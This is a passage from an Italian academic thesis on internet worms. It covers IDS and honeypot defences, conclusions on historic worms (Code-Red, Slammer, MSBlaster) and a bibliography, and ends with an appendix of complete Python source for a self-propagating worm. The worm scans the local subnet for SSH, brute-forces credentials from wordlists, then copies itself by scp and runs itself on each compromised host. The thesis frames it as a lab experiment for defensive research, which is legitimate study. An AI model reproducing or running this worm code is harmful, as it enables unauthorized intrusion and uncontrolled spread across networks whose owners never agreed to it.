per il rilevamento delle intrusioni (IDS) e gli Honeypot.
Un sistema di rilevamento delle intrusione (IDS) può aiutare nel contenimento di un’infezione identificando un attaccante poco dopo che quest’ultimo abbia
cominciato una scansione. Di solito gli host che cominciano un attacco generano
un pattern di traffico particolare. Di solito si esegue un tentativo di accesso ad
un servizio (oppure ad un insieme di servizi) ospitati da vari host, in un periodo
di tempo molto breve. Gli IDS moderni includono la funzionalità di rilevamento
delle scansioni (Port Scanning Detection) che solleva un allarme quando questo
pattern di traffico viene individuato. Questo permette agli amministratori di
rete di individuare la minaccia e di porvi subito rimedio.
Gli honeypot sono un’altra tecnologia che può aiutare a contenere e rallentare
la diffusione di Worm. L’applicazione degli honeypot è relativamente nuova.
L’idea su cui si basa la costruzione di un honeypoit è quella di costringere i
worm a spendere tempo e fatica ad attaccare gli host che non sono effettivamente vulnerabili, privando cosı̀ all’attaccante a possibilità di concentrarsi su
macchine che potrebbero essere realmente infette. La maggior parte del lavoro
in questo settore non ha progredito oltre la fase di teoria, ma ci sono un paio di
implementazioni di honeypot che hanno avuto particolare successo.
Capitolo 6
Conclusioni
I worm hanno rappresentato e rappresentano una serie minaccia per Internet e i
suoi utenti. Con l’aumento della densità, dell’interconnettività e della larghezza
di banda di Internet, in combinazione con misure di sicurezza non adeguatamente configurate, i worm continueranno ad affliggere la comunità di Internet.
Sistemi anti-virus e di rilevamento delle intrusioni già esistenti sono chiaramente inadeguati per la difesa contro i recenti worm e la loro rapida diffusione. A
causa di questa minaccia, gli esperti di Cybersecurity e Cyberwarfare devono
essere preparati per combattere la crescente minaccia. Worm più pericolosi come: Code-Red, MSBlaster e SQL Slammer che rafforzano l’inadeguatezza di
un sistema dipendente dal fattore umano. A tale scopo è necessario sviluppare
nuovi meccanismi di difesa per proteggere meglio i nostri sistemi.
Nel nostro lavoro abbiamo analizzato i danni causati alla rete e agli utenti dai worm storici. Abbiamo inoltre riportato i diversi modelli di diffusione
che permettono di effettuare previsioni sulla propagazione dei worm storici e
di quelli futuri, soffermandoci sulle loro caratteristiche e le loro differenze. A
partire dai worm storici, abbiamo replicato il comportamento di un worm, implementandone le funzionalità ed analizzandone la sua diffusione all’interno di
una rete di emulazione. L’esperimento effettuato ha evidenziato come sia tutt’oggi semplice realizzare un prototipo di worm in grado di propagarsi su host
in cui sono presenti inadeguate misure di sicurezza. Infine, sulla base di quanto
rilevato abbiamo mostrato che esistono misure di sicurezza forti che permettono
di arginare, del tutto o in parte, la propagazione del codice malevolo e il rischio
che questo comporta.
51
52
CAPITOLO 6. CONCLUSIONI
Bibliografia
[1] Roy M Anderson, Robert M May, and B Anderson. Infectious diseases of
humans: dynamics and control, volume 28. Wiley Online Library, 1992.
[2] Zesheng Chen, Lixin Gao, and Kevin Kwiat. Modeling the spread of active
worms. In INFOCOM 2003. Twenty-Second Annual Joint Conference of
the IEEE Computer and Communications. IEEE Societies, volume 3, pages
1890–1900. IEEE, 2003.
[3] Jordan Hasler. Si epidemics model. 2013.
[4] Mimmo Iannelli and Andrea Pugliese. Mathematical modeling of epidemics.
In An Introduction to Mathematical Population Dynamics, pages 209–264.
Springer, 2014.
[5] Stefan Misslinger.
Munchen, 2003.
Internet worm propagation.
Technische University
[6] David Moore, Vern Paxson, Stefan Savage, Colleen Shannon, Stuart Staniford, and Nicholas Weaver. Inside the slammer worm. IEEE Security &
Privacy, (4):33–39, 2003.
[7] David Moore, Colleen Shannon, et al. Code-red: a case study on the
spread and victims of an internet worm. In Proceedings of the 2nd ACM
SIGCOMM Workshop on Internet measurment, pages 273–284. ACM,
2002.
[8] Hilarie Orman. The morris worm: A fifteen-year perspective.
Security & Privacy, (5):35–43, 2003.
IEEE
[9] Retains Full Rights. Sans institute infosec reading room. 2001.
[10] Stuart Staniford, Vern Paxson, and Nicholas Weaver. How to own the
internet in your spare time. In Proceedings of the 11th USENIX Security Symposium, pages 149–167, Berkeley, CA, USA, 2002. USENIX
Association.
[11] Stuart Staniford, Vern Paxson, Nicholas Weaver, et al. How to own the
internet in your spare time. In USENIX Security Symposium, pages 149–
167, 2002.
[12] Cliff Changchun Zou, Weibo Gong, and Don Towsley. Code red worm propagation modeling and analysis. In Proceedings of the 9th ACM conference
on Computer and communications security, pages 138–147. ACM, 2002.
53
54
BIBLIOGRAFIA
Appendice A
Codice
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from socket import *
from pexpect import pxssh
import pexpect
import netifaces as ni
from threading import *
import getpass
import os
screenLock = Semaphore ( value = 1)
NETMASK = 3
USERFILE = " user . txt "
PASSFILE = " password . txt "
NETWORK_RANGE = 255
FILENAME = " Worm . py "
def exploit_ssh (s , tgtHost , user , password ) :
"""
Effettua l ’ upload del worm e lo esegue sull ’ host
vittima
"""
print " [+] Inizio exploiting "
if upload_file ( tgtHost , user , password , FILENAME ) and
upload_file ( tgtHost , user , password , USERFILE ) and
upload_file ( tgtHost , user , password , PASSFILE ) : #
MICHELE : upload di tre file
cmd = " chmod + x " + FILENAME
send_command (s , cmd )
cmd = " python " + FILENAME
send_command (s , cmd )
print " [+] Exploiting completato "
def upload_file ( host , user , password , filename ) :
"""
55
56
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
APPENDICE A. CODICE
La funzione copia il file filename del Worm nella
cartella Home dell ’ utente .
#1 pexpect . spawn ( ’ scp / Users / Alessandro / Desktop /
Scan . py ’ + target_string ) esegue il comando per
inviare un file
#2 child . expect ([" password "]) controlla se nella
risposta ottenuta dal server e ’ presente la
richieta dela password .
#3 child . sendline ( password ) invia la password
#4 child . expect ( pexpect . EOF ) Chiude il file copiato
"""
try :
target_string = user + " @ " + host + " :~/ "
source_string = " / home / " + getpass . getuser () + " / " +
filename
cmd = ’ scp ’ + source_string + " " + target_string
print cmd
child = pexpect . spawn ( cmd )
child . expect ([ " password " ])
child . sendline ( password )
child . expect ( pexpect . EOF )
print " [+] File " + filename + " copiato con successo .
"
return True
except Exception as e :
print e
print " [ -] Problema nel caricamento del file . "
return False
def send_command (s , cmd ) :
s . sendline ( cmd )
s . prompt ()
print s . before
def ssh_connect ( host , user , password ) :
"""
Tentativo di connessione alla porta #22
"""
try :
s = pxssh . pxssh ()
s . login ( host , user , password )
return s
except :
screenLock . acquire ()
print " [ -] Error , Invalid Parameters For User : {0}
Password : {1} Host : {2} " . format ( user ,
password , host )
screenLock . release ()
57
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
return None
def test_connection ( tgtHost , tgtPort ) :
"""
Scansione della porta tgtPort per controllare se il
servizio risulta attivo sull ’ HOST in esame
"""
try :
connSkt = socket ( AF_INET , SOCK_STREAM )
connSkt . settimeout (1)
connSkt . connect (( tgtHost , tgtPort ) )
screenLock . acquire ()
print ’ [+] {0} | TCP OPEN for IP {1} ’. format (
tgtPort , tgtHost )
return True
except Exception as e :
screenLock . acquire ()
if str ( e ) == " timed out " :
print ’[ -] HOST {0} is Offline ’. format ( tgtHost )
else :
print ’[ -] {0} | TCP CLOSED for IP {1} caused by
{2} ’. format ( tgtPort , tgtHost , e )
connSkt . close ()
return False
finally :
screenLock . release ()
def ssh_scan ( tgtHost , tgtPort ) :
"""
Verifica la connessione ad ssh , in caso di successo
viene effettuata la connessione e si procede con un
attacco a forza bruta per individuare Username e
Password .
"""
if not test_connection ( tgtHost , tgtPort ) :
return None
uF = open ( USERFILE , ’r ’)
for user in uF . readlines () :
user = user . strip ( " \ r " ) . strip ( " \ n " )
pF = open ( PASSFILE , ’r ’)
for password in pF . readlines () :
password = password . strip ( " \ r " ) . strip ( " \ n " )
s = ssh_connect ( tgtHost , user , password )
if ( s != None ) :
print " [+] User : {0} Password : {1} Host : {2}
58
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
APPENDICE A. CODICE
" . format ( user , password , tgtHost )
exploit_ssh (s , tgtHost , user , password )
return
pF . close ()
def network_scan () :
"""
Scan della rete per individuare potenziali indirizzi
IP vulnerabili ,
viene creata una NETMASK con la wquale si decide la
sottorete da analizzare .
"""
interface_list = os . listdir ( ’/ sys / class / net / ’)
for interface in interface_list :
if interface == ’ lo ’:
continue
try :
ni . ifaddresses ( interface )
ip = ni . ifaddresses ( interface ) [2][0][ ’ addr ’]
print " [+] Interfaccia di rete trovata : " +
interface
mask_ip = " . " . join ( ip . split ( ’. ’) [: NETMASK ])
for i in range ( NETWORK_RANGE ) :
targetIP = mask_ip + " . " + str ( i )
if targetIP != ip :
t = Thread ( target = ssh_scan , args =( targetIP ,
int (22) ) )
t . start ()
except Exception as e :
print " [ -] Interfaccia di rete non valida : " +
interface
continue ;
def main () :
network_scan ()
if __name__ == ’ __main__ ’:
main ()